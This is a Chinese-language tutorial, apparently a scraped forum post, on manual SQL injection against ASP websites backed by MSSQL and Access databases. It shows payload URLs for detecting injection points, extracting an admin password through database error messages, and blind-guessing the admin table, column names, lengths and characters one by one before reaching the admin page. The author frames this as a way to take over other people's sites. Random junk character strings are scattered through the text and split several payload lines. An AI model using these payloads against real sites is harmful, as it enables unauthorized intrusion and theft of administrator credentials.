隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。
! M2 S3 c. O2 Y* z& c& I- W( r2 @2 L% ?% U% }, `5 r* z* o/ ]
由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
1 B* b( }% { w! n9 ~8 c# y9 ~1 M. X2 F
相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
- l; e2 Q7 {7 r* W+ O
W( r+ {: Y8 |# q3 J- l* v, q ·錯誤類型:$ j! b& Z3 R% T/ A3 u1 q: i# o
4 T' J( T Q# i/ ?
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
6 ?: v: U6 \2 o[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。* p1 G Y; C8 `. l
/test/show.asp, 第 34 行/ r, z1 H& o' _/ N/ @
1 ` ?4 O5 `2 v$ D* @. A
從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:
0 k% I( L* f9 q9 U4 K$ }" Jhttp://localhost/test/show.asp?ID=4 and (Select password fro1 {( v G0 e% P7 C! l3 ], e6 ^; {
6 b( V0 G& c3 s' {m login where user_name=』admin』)>0,返回的出錯信息如下:
$ d+ a/ o9 P: g6 v2 Y
; f/ C3 w* q* i+ U/ c3 V! m ·錯誤類型:
' X/ A9 Y# O. L# E$ a. U3 Y& f, H5 s5 |3 x
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)% m8 r1 X, W' `. N
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。
# J R) O, S$ z! V+ M/test/show.asp, 第 34 行
0 t$ V6 [: d, I1 B2 y) {$ Y; L/ t* c# r6 t
現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。
1 p* @4 q9 i6 a/ ~1 m# f5 d7 U, g4 G- Y! p! Y6 k- ^
對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx; K, S4 n# X' q8 W
: n; D6 t& X$ L1 p* N9 c2 H& y" P
xx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx』4 q0 S: X3 C4 E# x0 T# l3 l
]* w) k) a7 k) B8 u
如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:
3 E" L! s1 H2 B) W. z3 P+ l; f
9 g9 K+ R @, rMicrosoft vbscript 編譯器錯誤 錯誤碼率 $ M; s/ a Y4 o5 e: T% j, v K
|/ C- n( c) R" [
『800a03f6』 1 X7 o. c' l2 `6 J) Q* a+ ^9 J: D
( r( @7 Y7 l. b; ~9 x
缺少』End』$ C: c: J k7 G0 _5 c
! O; F0 D/ }" d! G/ _" w( L) W/iishelp/common/500-100.asp,行242
2 p. {( ]* _# v2 V$ }3 O
3 b+ x) ^- Q; E7 d) xADODB.Field 錯誤 『800a0bcd』
/ v3 r9 w8 l/ e/ q4 S. T# S- P7 h
一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:
, k$ x! K( H9 i1 \2 V! ^) b8 D3 f- M7 Z- C* U; P7 C
如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′ R4 b9 P* a9 I$ x3 Q1 D* N) g, C
出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:
3 x1 `8 K. a3 l# ^
' x3 E+ _- ?: e, a8 {/ P1 y# F1 猜管理員帳號表。; O2 g9 D6 u4 Z2 u1 U( b# Q
2 猜相應表中的用戶的字段名以及密碼的字段名。1 u! J5 D7 B3 x+ m8 F' V
3 猜出用戶名的長度和密碼的長度* N) R: G4 c0 Z* a" L. H0 u; O
4 猜出用戶和密碼
9 s q2 J9 r0 E- E n. ?5 找到管理頁面進入管理
$ g0 e% f# K0 G# |8 c6 X
, z% w% p/ C# g3 V7 x; V. Y猜管理員的表: - T5 O: F/ w: o8 [
2 F6 K$ f6 l: w" ?) M
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值! H4 ]5 a! Q$ z( l5 Z" p$ g* n
返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。
* Q/ {* e( M( O0 f6 A6 J 3 u. {$ ]2 K: n( R& i- E
猜用戶的字段名:% g; q7 X* A0 k7 c$ u0 G& j
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名( v: W$ G. f, Q
再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)+ o q+ i% G: X& o
沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa
0 H- X" k# c) S$ L, L3 ]3 B( a$ A# Q$ I K' F+ b
猜密碼的字段名:7 H/ G1 b8 O' V% @3 X8 H8 H- _: ?
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i
; M9 _+ I0 O+ t( t& V5 v2 S
5 ^+ z6 q2 }* ^- v9 @d) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。 # n7 e' w( G" ]. k. x/ `" Q1 b8 G
$ v" i5 h E( z6 X, x3 u再來:http://hostlocal/test2/list.asp?id=17 and 1=(select
$ l7 N! O u$ H* U" }- E; m
6 H$ q) g3 N+ r, R9 K: z D min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa
; g. [" T4 P1 y6 A# t
( B. s# @/ @* E! V! w猜用戶字段名長度: ( w6 v( b: k: v% r8 t; z
& x* h7 B! {5 s. g5 s% }http://hostlocal/test2/list.asp?id=17 and 1=(select min(2 G8 D/ }" h) G; o
2 X1 U. H. k& c- f/ A* Z0 r' }
id) from admin where len(username)
& i$ @% b4 J! o5 V1 u. m# K; |* n2 L- E1 q* A( W8 G
>5) , `3 ~2 Q# P! h" [ q( s+ g
8 x. I% a2 f" e' T- F 正確
B! L- A0 a- V2 `( M g: bhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
7 @% J2 }+ L% K9 q0 I正確
: z% m" g( a" f( X8 o: G* E% X用戶名長度大於5小於10
# g8 \' E( z, J" m7 fhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
3 R7 i x; L) w, X
9 l: E1 J4 I- g7 \- l=7) " v+ n6 G8 z, g( d5 r) H) f3 s9 ~
3 _9 r& E* c9 t* A2 N呵``` 用戶名長度為7位) {; x+ W& B. R ~( h, ?( d
& `" f7 V x, O$ K猜密碼長度:7 H! c, G! B4 `; m" F" m1 ]
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)4 y0 D A c; y' L: F2 C
正確
z6 D* o+ s$ w H9 f, a! t& P6 Ahttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)! V0 Q( Z7 r- J3 L
正確) v {* z0 W0 f
密碼長度也是大於5小於10
1 H6 I+ Y3 z3 `% Y/ Ohttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)! |5 U6 C2 v$ M. b# c7 w% P
呵``` 密碼長度為7位
& ^! @* r" g0 O* w, u: Z; T3 A1 M Z1 r# t+ j6 {0 u. o; L6 U' w% n9 v
猜用戶名:
# ?: b8 l; v0 C# m) p- ?http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)
( Q/ g8 g1 E! t- Y# l, Z. i* s; s# ?) R8 N
用戶名第一個字母是:a
0 N u2 u) A. z1 Y6 i& G" q3 [: D7 D9 p% v
猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=; t2 K, S+ h q% [# I2 [
6 W5 Y+ `2 @. L# t1 ](select min(id) from admin where mid(username,2,1)=′b′) : W. J. G1 f; F k2 T* i
1 {% W& W# {9 C$ }2 e' r' b
以此類推!4 @# U+ m, F4 S5 _0 `$ S! F7 S& m8 x: H
% m8 E1 t: O6 U1 J8 }& [
猜密碼: + `4 P$ @- m3 L8 r5 P$ u
8 j/ t5 H9 s, K3 }% w0 z! ?猜密碼跟猜用戶名一樣!
. T0 Y3 _- {) n, Thttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) 9 _: U& v7 L+ O# k
猜完後來到管理頁面:
' a5 ^# b# r- a: r9 r. Uhttp://hostlocal/test2/admin.asp, ~$ ]0 V b0 W3 @+ q5 Y
. M1 z9 K5 L9 c+ Z) U1 c8 F) J4 y
登錄 |
|